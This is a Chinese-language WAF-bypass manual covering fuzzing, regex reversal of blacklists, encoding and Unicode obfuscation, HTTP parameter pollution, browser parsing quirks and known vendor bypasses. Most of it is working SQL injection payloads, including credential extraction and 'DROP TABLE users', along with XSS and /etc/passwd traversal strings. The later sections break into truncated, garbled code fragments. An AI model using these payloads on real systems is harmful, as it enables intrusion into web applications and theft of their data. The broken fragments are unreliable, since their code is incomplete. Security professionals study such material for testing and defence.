模糊测试/暴力破解：

方法：

在URL/端点上运行一组payload。一些好用的模糊测试字典：

• 专门用于模糊测试的字典
  • Seclists/Fuzzing
  • Fuzz-DB/Attack
  • 其他Payload

技术：

• 将字典加载到模糊测试器中，开始暴力破解。
• 记录/记录所有来自不同模糊测试payload的响应。
• 使用随机用户代理，范围从Chrome桌面到iPhone浏览器。
• 如果检测到被拦截，增加模糊测试延迟（例如2-4秒）。
• 始终使用proxychains，因为你的IP被拦截的可能性很大。

缺点：

• 这种方法经常失败。
• 很多时候你的IP会被拦截（临时/永久）。

正则表达式逆向：

方法：

• 绕过WAF最有效的方法。
• 一些WAF依赖于将攻击payload与数据库中的特征进行匹配。
• 如果payload匹配正则表达式，WAF就会触发警报。

技术：

黑名单检测/绕过

• 在此方法中，我们通过逐步观察被列入黑名单的关键字来尝试指纹规则。
• 思路是猜测正则表达式，然后构造不使用黑名单关键字的后续payload。

案例：SQL注入

• 步骤1：

被过滤的关键字：and、or、union
可能的正则表达式：preg_match('/(and|or|union)/i', $id)

• 被拦截的尝试：union select user, password from users
• 绕过的注入：1 || (select user from users where user_id = 1) = 'admin'

• 步骤2：

被过滤的关键字：and、or、union、where

• 被拦截的尝试：1 || (select user from users where user_id = 1) = 'admin'
• 绕过的注入：1 || (select user from users limit 1) = 'admin'

• 步骤3：

被过滤的关键字：and、or、union、where、limit

• 被拦截的尝试：1 || (select user from users limit 1) = 'admin'
• 绕过的注入：1 || (select user from users group by user_id having user_id = 1) = 'admin'

• 步骤4：

被过滤的关键字：and、or、union、where、limit、group by

• 被拦截的尝试：1 || (select user from users group by user_id having user_id = 1) = 'admin'
• 绕过的注入：1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

• 步骤5：

被过滤的关键字：and、or、union、where、limit、group by、select

• 被拦截的尝试：1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• 绕过的注入：1 || 1 = 1 into outfile 'result.txt'
• 绕过的注入：1 || substr(user,1,1) = 'a'

• 步骤6：

被过滤的关键字：and、or、union、where、limit、group by、select、'

• 被拦截的尝试：1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• 绕过的注入：1 || user_id is not null
• 绕过的注入：1 || substr(user,1,1) = 0x61
• 绕过的注入：1 || substr(user,1,1) = unhex(61)

• 步骤7：

被过滤的关键字：and、or、union、where、limit、group by、select、'、hex

• 被拦截的尝试：1 || substr(user,1,1) = unhex(61)
• 绕过的注入：1 || substr(user,1,1) = lower(conv(11,10,36))

• 步骤8：

被过滤的关键字：and、or、union、where、limit、group by、select、'、hex、substr

• 被拦截的尝试：1 || substr(user,1,1) = lower(conv(11,10,36))
• 绕过的注入：1 || lpad(user,7,1)

• 步骤9：

被过滤的关键字：and、or、union、where、limit、group by、select、'、hex、substr、空格

• 被拦截的尝试：1 || lpad(user,7,1)
• 绕过的注入：1%0b||%0blpad(user,7,1)

混淆：

方法：

• 将payload编码为不同的编码（一种试错方法）。
• 可以对整个payload或部分进行编码，并递归测试。

技术：

1. 大小写切换

• 一些开发较差的WAF会选择性过滤特定大小写的WAF。
• 我们可以组合大小写字符来构造有效的payload。

标准：<script>alert()</script>
绕过：<ScRipT>alert()</sCRipT>

标准：SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
绕过：sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL编码

• 使用%编码/URL编码对标准payload进行编码。
• 可以通过在线工具如这个完成。
• Burp包含内置的编码器/解码器。

被拦截：<svG/x=">"/oNloaD=confirm()//
绕过：%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

被拦截：uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
绕过：uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode标准化

• Unicode编码中的ASCII字符提供了很好的绕过变体。
• 可以对整个/部分payload进行编码以获得结果。

标准：<marquee onstart=prompt()>
混淆：<marquee onstart=\u0070r\u06f\u006dpt()>

被拦截：/?redir=http://google.com
绕过：/?redir=http://google。com (Unicode替代)

被拦截：<marquee loop=1 onfinish=alert()>x
绕过：＜marquee loop＝1 onfinish＝alert︵1)>x (Unicode替代)

提示： 看看HackerOne上的这篇和这篇报告。:)

标准：../../etc/passwd
混淆：%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. HTML表示

• 通常Web应用将特殊字符编码为HTML编码并相应渲染。
• 这导致了使用HTML编码（数字/通用）的基本绕过案例。

标准：">
编码："><img src=x onerror=confirm()> (通用形式)
编码："><img src=x onerror=confirm()> (数字引用)

5. 混合编码

• 有时，WAF规则往往过滤特定类型的编码。
• 这类过滤器可以通过混合编码payload绕过。
• 制表符和换行符进一步增加了混淆。

混淆：``` XSS

13. Token Breakers（令牌分割器）

• 对分词器的攻击试图借助令牌分割器来破坏将请求拆分为令牌的逻辑。

• 令牌分割器是某些符号，它们能够影响字符串元素与某个令牌之间的对应关系，从而绕过基于签名的检测。

• 不过，使用令牌分割器时请求仍必须保持有效。

• 案例：分词器未知的令牌

  • 载荷：?id=‘-sqlite_version() UNION SELECT password FROM users --

• 案例：解析器未知的上下文（注意未闭合的括号）

  • 载荷 1：?id=123);DROP TABLE users --
  • 载荷 2：?id=1337) INTO OUTFILE ‘xxx’ --

提示： 可通过此 小抄 构造更多载荷。

14. 其他格式的混淆

• 许多 Web 应用程序支持不同的编码类型，并能解释这些编码（见下文）。
• 将我们的载荷混淆成 WAF 不支持但服务器能够解析的格式，从而偷渡我们的载荷。

案例： IIS

• IIS6、7.5、8 和 10（ASPX v4.x）允许 IBM037 字符解释。
• 我们可以对载荷进行编码，并将编码后的参数随查询一起发送。

原始请求：``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41

id2='union all select * from users--

以下表格展示了在测试系统上不同字符编码的支持情况（当消息可以使用这些编码进行混淆时）：

提示： 你可以使用这个小型 Python 脚本将你的载荷和参数转换为所需编码。

HTTP 参数污染

方法：

• 这种攻击方法基于服务器如何解释同名参数。
• 可能的绕过机会包括：
  • 服务器使用最后接收的参数，而 WAF 只检查第一个。
  • 服务器合并相似参数的值，而 WAF 分别检查它们。

技术：

• 思路是枚举服务器如何解释参数。
• 在这种情况下，我们可以将载荷传递给 WAF 未检查的参数。
• 将一个载荷分布在多个参数中，然后由服务器进行连接也是有用的。

以下是不同服务器及其相对解释的对比：

HTTP 参数片段

• HPF 基于服务器将沿参数传递的值合并的原则。
• 我们可以将载荷拆分为不同的组件，然后通过参数传递这些值。

示例载荷：1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
示例查询 URL：http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

提示： 关于如何使用此方法构造绕过的一个真实案例可以参见此处。

浏览器漏洞：

字符集漏洞：

• 我们可以尝试将字符集标头更改为更高的 Unicode（例如 UTF-32）并测试载荷。
• 当站点解码字符串时，载荷会被触发。

示例请求：

当站点加载时，它将被编码为我们设置的 UTF-32 编码，然后由于页面的输出编码是 UTF-8，它将被渲染为："<script>alert (1) </ script> 从而触发 XSS。

最终 URL 编码后的载荷：``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

标准: <a href="javascript:alert()">
混淆后: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
变体: <a 0x00 href="javascript:alert(1)">clickme</a>

解析漏洞：

• RFC 规定节点名称不能以空白字符开头。
• 但我们可以使用特殊字符，如 %、//、!、? 等。

示例：

• <// style=x:expression\28write(1)\29> - 适用于 IE7 及以下版本 (来源)
• <!--[if]><script>alert(1)</script --> - 适用于 IE9 及以下版本 (参考)
• <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - 适用于 IE7 (参考)
• <%div%20style=xss:expression(prompt(1))> - 适用于 IE7 及以下版本

Unicode 分隔符：

• 每个浏览器都有自己的特定分隔符字符集。
• 我们可以对 0x00 到 0xFF 的字符集范围进行模糊测试，获取每个浏览器的分隔符集合。
• 我们可以在需要空格的位置使用这些分隔符。

以下是由 @Masato Kinugawa 整理的分隔符列表：

• IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
• Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
• Safari: 0x2C, 0x3B
• FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
• Opera: 0x09, 0x20, 0x2C, 0x3B
• Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

一个奇特的 Payload 示例：``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

• 案例: SQLi``` SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 1%0b||%0bLPAD(USER,7,1)

像 cURL 这样的命令行工具对于 PoCs 会非常方便：``` curl --ciphers -G -d

使用白名单字符串：

方法：

• 一些WAF开发者与他们的用户/开发者共享一个秘密，允许他们绕过WAF发送有害查询。
• 这个共享秘密如果泄露/被知晓，可以用来绕过WAF中的所有保护。

技术：

• 在GET/POST/PUT/DELETE请求中使用白名单字符串作为参数，可以将我们的载荷偷偷通过WAF。
• 通常使用一些*-sync-request关键字或共享的令牌值作为秘密。
• 有时添加特定的HTTP头可能会触发类似的白名单行为。

现在，当向服务器发送请求时，你可以将其作为参数附加：``` http://host.com/?randomparameter=&=True

Google Dorks 方法：

步骤：

• 有许多已知的各种 Web 应用防火墙的绕过方法（参见章节）。
• 借助 Google dorks，我们可以轻松找到绕过方法。

技巧：

在开始之前，您应该先通过 Google Dorks 速查表 提升技能。

• 常规搜索：
  +<waf名称> waf 绕过

• 搜索特定版本漏洞：
  "<waf名称> <版本>" (绕过|漏洞)

• 针对特定类型的绕过漏洞：
  "<waf名称>" +<绕过类型> (绕过|漏洞)

• 在 Exploit DB 上：
  site:exploit-db.com +<waf名称> 绕过

• 在 0Day Inject0r DB 上：
  site:0day.today +<waf名称> <类型> (绕过|漏洞)

• 在 Twitter 上：
  site:twitter.com +<waf名称> 绕过

• 在 Pastebin 上：
  site:pastebin.com +<waf名称> 绕过

已知绕过方法：

Airlock Ergon

• 超长 UTF-8 序列绕过 SQL 注入 (>= v4.2.4) 由 @Sec Consult 提供``` %C0%80'+union+select+col1,col2,col3+from+table+--+

• XSS绕过 由 @kmkz```

Keep-Alive: 300

• XSS绕过 by @0xInfection```

alert dragme click ``` GET - XSS绕过 (v4.02) 作者 [@DavidK](https://www.exploit-db.com/?author=2741)``` /search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E

• clave XSS (v4.02) 作者 @DavidK``` /?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{

• CSP绕过 by @Binar10

POST类型查询```